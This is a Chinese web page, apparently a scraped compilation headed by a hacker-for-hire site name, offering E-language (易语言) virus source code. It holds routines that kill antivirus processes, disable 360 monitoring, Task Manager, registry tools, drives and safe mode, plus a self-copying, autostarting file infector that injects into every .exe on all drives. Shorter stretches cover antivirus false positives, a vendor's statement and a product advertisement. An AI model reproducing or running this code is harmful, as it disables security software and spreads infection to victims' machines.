黑客24小时在线接单的网站

易语言编程编写木马代码程序的含义

运行 (“taskkill /f /im kavsvc.exe”, 假, 1)

运行 (“taskkill /f /im KVXP.kxp”, 假, 1)

运行 (“taskkill /f /im Rav.exe”, 假, 1)

运行 (“taskkill /f /im Ravmon.exe”, 假, 1)

运行 (“taskkill /f /im Mcshield.exe”, 假, 1)

运行 (“taskkill /f /im VsTskMgr.exe”, 假, 1)

写注册项 (4, “SOFTWARE\360Safe\safemon\ExecAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\MonAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\SiteAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\UDiskAccess”, 0)

运行 (“taskkill /f /im 360tray.exe”, 假, 1) ' 结束360进程

' 修改关联

写注册项 (1, “.txt\”, “jpegfile”)

写注册项 (1, “.inf\”, “jpegfile”)写注册项 (4, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue”, 0) ' 隐藏文件和文件夹

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 0) ' 禁用任务管理器

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, 1) ' 禁用控制面板

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools”, 1) ' 禁用注册表

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1) ' 隐藏开始中的运行 禁止WIN2000/XP通过任务管理器创建新任务写注册项 (3, “SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled”, 1)

' 隐藏“MS-DOS方式”下的磁盘驱动器。不管是在“我的电脑”里，或“MS－DOS”方式下都看不见了

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”, 4294967295) ' 隐藏所有驱动器

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive”, 4294967295) ' 禁止所有驱动器

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 1) ' 隐藏文件夹选项

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”, 1) ' 将桌面对象隐藏

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1) ' 隐藏开始中的关机

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1) ' 隐藏开始中的搜索

' 写注册项 (3, “Software\Policies\Microsoft\Windows\System\DisableCMD”, 1)'1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0启用两项

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage”, 1) ' 隐藏主页选项组

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”, 1) ' 隐藏IE文件菜单

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites”, 1) ' 隐藏收藏夹菜单

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting”, 1) ' 禁用IE打印功能

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions”, 1) ' 隐藏Internet选项

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource”, 1) ' 禁止IE查看源文件

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803”, 3) ' 禁用IE下载功能

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu”, 1) ' 禁止右键关联菜单

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRealMode”, 1) ' 禁止“重新启动计算机切换到MS-DOS方式”写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, 1) ' 禁止显示“注销”写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu”, 1) ' 禁止文档菜单写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, 1) ' 去掉“开始”选单中的“登录”项写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, 1) ' 禁止使用鼠标右键写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders”, 1) ' 禁止修改控制面版

.版本 2' 无法进入安全模式

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{36FC9E60-C465-11CF-8056-444553540000}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E965-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E969-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E96B-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E96F-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E977-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E97B-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E97D-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E980-E325-11CE-BFC1-08002BE10318}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{71A27CDD-812A-11D0-BEC7-08002BE2092F}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AppMgmt\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Base\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Boot Bus Extender\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Boot file system\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CryptSvc\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\DcomLaunch\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\dmadmin\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\dmboot.sys\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\dmio.sys\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\dmload.sys\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\dmserver\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\EventLog\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\File system\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Filter\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\HelpSvc\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Netlogon\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\PCI Configuration\”)

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\PlugPlay”)

销毁 ()

易语言病毒代码

.版本 2

.局部变量 变量, 整数型

置现行时间 (到时间 (“2056年1月1日”))

运行 (“taskkill /f /im kavsvc.exe”, 假, 1)

运行 (“taskkill /f /im KVXP.kxp”, 假, 1)

运行 (“taskkill /f /im Rav.exe”, 假, 1)

运行 (“taskkill /f /im Ravmon.exe”, 假, 1)

运行 (“taskkill /f /im Mcshield.exe”, 假, 1)

运行 (“taskkill /f /im VsTskMgr.exe”, 假, 1)

' 绕过360监控

写注册项 (4, “SOFTWARE\360Safe\safemon\ExecAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\MonAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\SiteAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\UDiskAccess”, 0)

运行 (“taskkill /f /im 360tray.exe”, 假, 1) ' 结束360进程

' 修改关联

写注册项 (1, “.txt\”, “jpegfile”)

写注册项 (1, “.inf\”, “jpegfile”)

写注册项 (4, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue”, 0) ' 隐藏文件和文件夹

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 0) ' 禁用任务管理器

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, 1) ' 禁用控制面板

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools”, 1) ' 禁用注册表

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1) ' 隐藏开始中的运行 禁止WIN2000/XP通过任务管理器创建新任务

写注册项 (3, “SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled”, 1)

' 隐藏“MS-DOS方式”下的磁盘驱动器。不管是在“我的电脑”里，或“MS－DOS”方式下都看不见了

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”, 4294967295) ' 隐藏所有驱动器

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive”, 4294967295) ' 禁止所有驱动器

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 1) ' 隐藏文件夹选项

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”, 1) ' 将桌面对象隐藏

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1) ' 隐藏开始中的关机

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1) ' 隐藏开始中的搜索

' 写注册项 (3, “Software\Policies\Microsoft\Windows\System\DisableCMD”, 1)'1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0启用两项

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage”, 1) ' 隐藏主页选项组

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”, 1) ' 隐藏IE文件菜单

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites”, 1) ' 隐藏收藏夹菜单

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting”, 1) ' 禁用IE打印功能

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions”, 1) ' 隐藏Internet选项

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource”, 1) ' 禁止IE查看源文件

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803”, 3) ' 禁用IE下载功能

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu”, 1) ' 禁止右键关联菜单

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRealMode”, 1) ' 禁止“重新启动计算机切换到MS-DOS方式”

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, 1) ' 禁止显示“注销”

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu”, 1) ' 禁止文档菜单

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, 1) ' 去掉“开始”选单中的“登录”项

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, 1) ' 禁止使用鼠标右键

写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders”, 1) ' 禁止修改控制面版

易语言病毒代码+重启文件代码

用2句代码就可以

.版本

2

.支持库

eAPI

.支持库

shell

.程序集

窗口程序集1

.子程序

__启动窗口_创建完毕

设置自动运行

(取执行文件名

(),

取运行目录

()

＋

“\”

＋

取执行文件名

(),

0)

关闭系统

(2,

真)

资料来源：学生技术联盟，原学生黑客联盟

易语言破解版写的程序有木马，怎么解决？

易语言编译的都会这样，易语言官方都解决不了，这里会有人解决吗

易语言 编译 后老是被认为是木马病毒.....

您好，由于网上的木马、病毒多为私人制作，因此杀毒软件对易语言编写的程序都是高度敏感状态。您自己编写的程序、自制软件被删杀毒软件误报，建议设为信任文件。

推荐使用腾讯电脑管家，误报率低，点此下载：腾讯电脑管家官网

选择腾讯电脑管家的几大理由：

1，完全免费；

2，能够给你的QQ账号、腾讯游戏经验加成；

3，拥有云查杀木马，系统加速，漏洞修复，实时防护，网速保护，电脑诊所，健康小助手等功能,；

4，使用了国际上知名的“小红伞”杀毒引擎；

5，保护QQ号，打击盗号方面更有优势。

腾讯电脑管家企业平台：http://zhidao.baidu.com/c/guanjia/

怎么看破解版易语言有没有恶意代码

正版依然报毒，原因：易语言公司发出的

杀毒软件误报情况说明

尊敬的易语言用户：你们好！

易语言新版本在每次推出之前，均要进行多达五种以上杀毒软件的查杀确认没有病毒后才上传提交给用户使用，并且我们编译生成产品的环境是封闭的，不可能感染病毒。此外易语言已经由中国科学技术委员会中国软件评测中心检测通过（见测试报告），取得科技成果鉴定证书，被国家火炬计划立项，因此请广大用户放心，易语言本身绝对没有病毒。

我公司产品易语言自推出后，一直以来受到广大用户的好评，使用人数急剧上升，从而用户用易语言编写发布的软件有几十万份之多。但有极个别用户违反国家法律使用易语言编写病毒或木马散发，更有竞争对手公司用易语言捆绑病毒发布恶意程序，再加上某些杀毒软件厂家仍采用落后的特征码识别技术查杀病毒，在获取以上病毒或木马文件特征码时错误地在易语言编译出来的正常可执行代码数据中采集，从而导致将易语言编译出来的正常软件一并误报为病毒。

我公司采取了对易语言自身的改造：将有可能产生误报病毒的特征码去除，但这样被动地修改并不能彻底解决问题，过了不久又有新的误报发生，防不胜防；其次在文件中内嵌了说明文字，以让杀毒厂家能正确找到易代码的地址，还建立了专门给杀毒厂家测试的页面，起到了一定的作用，但个别公司仍视而不见，依然我行我素。

我公司对外寻求通过与杀毒厂家积极沟通，以帮助他们消除软件的缺陷。建立了专门供杀毒公司使用的网站（见资源网）。沟通过的杀毒厂家有：瑞星、金山、江民、北信源、东方卫士、驱逐舰、安博士、木马克星、熊猫、卡巴斯基、KILL、Macfee、PC-Cillin、AVK、诺顿、NOD32等。目前基本上与国内的杀毒公司建立了良好的沟通渠道，但极个别国外杀毒厂家不重视中国的市场，还是会发生误报病毒的现象。

对一些长期不予解决问题的杀毒厂家我公司也采取了法律的手段，以挽回我公司的损失。其中于2005年1月将北京卡巴斯基公司告上法院。通过法院两审，判决卡巴斯基公司败诉（见法院判决书），不久该公司在电脑报上公开道歉（见道歉声明）。

在交涉中，多次收到一些杀毒厂家的道歉信。（见附件）

在此请我们的用户耐心向您的客户解释清楚情况，劝其最好改用优质的国产杀毒软件，我们推荐的是江民公司的KV系列产品。另外我公司将会坚持不懈地尽快解决此类问题，请大家放心。

易语言公司

跪求:易语言编写的具有感染性的病毒源代码..

.版本 2

.支持库 eAPI

提取资源文件图标 (取运行目录 () ＋ “\” ＋ 取执行文件名 (), 0, “C:\windows\system32\Aver.ico”, ) ' 替换系统exe图标

写注册项 (#本地机器, “SOFTWARE\Classes\exefile\DefaultIcon\”, “C:\windows\system32\Aver.ico”) ' 写到注册表键值

写注册项 (#现行用户, “Software\Microsoft\Windows\CurrentVersion\Run\” ＋ 取执行文件名 (), 取运行目录 () ＋ “\” ＋ 取执行文件名 ()) ' 写让注册表键值删除后可恢复木马实行自启动

.如果真 (取运行目录 () ≠ 读环境变量 (“Windir”))

复制文件 (取运行目录 () ＋ “\” ＋ 取执行文件名 (), 读环境变量 (“Windir”) ＋ “\penguin.exe”)

运行 (“Cmd /c Attrib +H +S ” ＋ 读环境变量 (“Windir”) ＋ “\penguin.exe”, 真, 1)

运行 (读环境变量 (“Windir”) ＋ “\penguin.exe”, 假, )

写到文件 (读环境变量 (“Windir”) ＋ “penguin.bat”, 到字节集 (“@echo off” ＋ #换行符 ＋ “Taskkill /f /im ” ＋ 取执行文件名 () ＋ #换行符 ＋ “Del ” ＋ 取当前目录 () ＋ “\” ＋ 取执行文件名 () ＋ #换行符 ＋ “Del %0” ＋ #换行符 ＋ “Exit”))

写到文件 (读环境变量 (“Windir”) ＋ “\penguin.bat”, 到字节集 (子文本替换 (子文本替换 (到文本 (读入文件 (读环境变量 (“Windir”) ＋ “penguin.bat”)), “C:\Documents and Settings”, “C:\DOCUME~1”, , , 假), “Windows”, “ ”, , , 假)))

运行 (读环境变量 (“Windir”) ＋ “\penguin.bat”, 真, 1)

.如果真结束

.如果真 (取运行目录 () ＝ 读环境变量 (“Windir”))

写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run\penguin”, 读环境变量 (“Windir”) ＋ “\penguin.exe”)

写到文件 (读环境变量 (“Windir”) ＋ “Infection.exe”, #感染)

运行 (读环境变量 (“Windir”) ＋ “\Infection.exe”, 真, 1)

.如果真结束

驱动器 ＝ 取驱动器列表 ()

.版本 2

.子程序 搜寻

.参数 目录, 文本型

.局部变量 文件号

.局部变量 文件名, 文本型

处理事件 ()

.如果真 (取文本右边 (目录, 1) ≠ “\”)

目录 ＝ 目录 ＋ “\”

.如果真结束

文件名 ＝ 寻找文件 (目录 ＋ “*.exe”, )

.判断循环首 (文件名 ≠ “”)

输出调试文本 (目录 ＋ 文件名)

文件号 ＝ 打开文件 (删首尾空 (目录 ＋ 文件名), #读写, #无限制)

插入字节集 (文件号, #图标)

关闭文件 (文件号)

文件名 ＝ 寻找文件 (, )

.判断循环尾 ()

文件名 ＝ 寻找文件 (目录 ＋ “*.*”, #子目录)

.判断循环首 (文件名 ≠ “”)

.如果真 (取文本左边 (文件名, 1) ≠ “.”)

搜寻 (目录 ＋ 文件名)

.如果真结束

文件名 ＝ 寻找文件 (, #子目录)

.判断循环尾 ()

原创，不要外传=.=

TR.Black.Gen2病毒

Virus: TR/Black.Gen2

Date discovered: 17/03/2010

Type: Trojan

In the wild: Yes

Reported Infections: Low

Distribution Potential: Low

Damage Potential: Low

Static file: No

Engine version: 7.09.01.194/8.02.01.194

A generic detection routine designed to detect common family characteristics shared in several variants.

This special detection routine was developed in order to detect unknown variants and will be enhanced continuously

简单的说：文件代码中检测出木马的特征码，但是低威胁（这个是屁话，杀毒软件想表达的意思是：意思是虽然我怎么看这个文件都特么像木马病毒，但他却明明白白不是病毒，先做个标记，你杀了是最好，不杀也没我杀毒软件的事情。）

可以正常使用，但不做推荐。

估计你用的盗版软件，什么算号器啊、注册机啊、破解补丁啊经常出出这个病毒。（很大可能是用易语言写的，但凡用易的都有这毛病）